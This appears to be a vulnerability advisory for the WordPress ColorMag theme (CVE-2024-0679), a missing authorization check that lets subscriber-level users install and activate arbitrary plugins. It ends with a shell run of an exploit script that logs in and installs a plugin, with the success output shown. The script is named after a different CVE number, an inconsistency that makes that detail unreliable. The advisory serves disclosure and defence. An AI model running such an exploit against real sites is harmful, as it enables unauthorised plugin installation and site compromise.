ColorMag <= 3.1.2 - 缺少授权检查,已认证(订阅者及以上)用户可任意安装/激活插件
WordPress 的 ColorMag 主题在所有版本(直至并包括 3.1.2)中,由于 plugin_action_callback() 函数缺少权限检查,存在未授权访问漏洞。这使得拥有订阅者及以上访问权限的已认证攻击者能够安装和激活任意插件。
Severity: medium
CVE ID: CVE-2024-0679
CVSS Score: 6.5
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Plugin Slug: colormag
WPScan URL: https://www.wpscan.com/plugin/colormag
Reference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/e982d457-29db-468f-88c3-5afe04002dcf?source=api-prod
$ python3 CVE-2024-0705.py --url http://wordpress.lan --username user --password useruser1 --slug ai-engine --plugin ai-engine/ai-engine.php
Logged in successfully.
Getting Nonce!
5e0195de06
Installing Plugin!
HTTP STATUS: 200 Response: {"success":true,"data":{"message":"Plugin activated successfully!"}}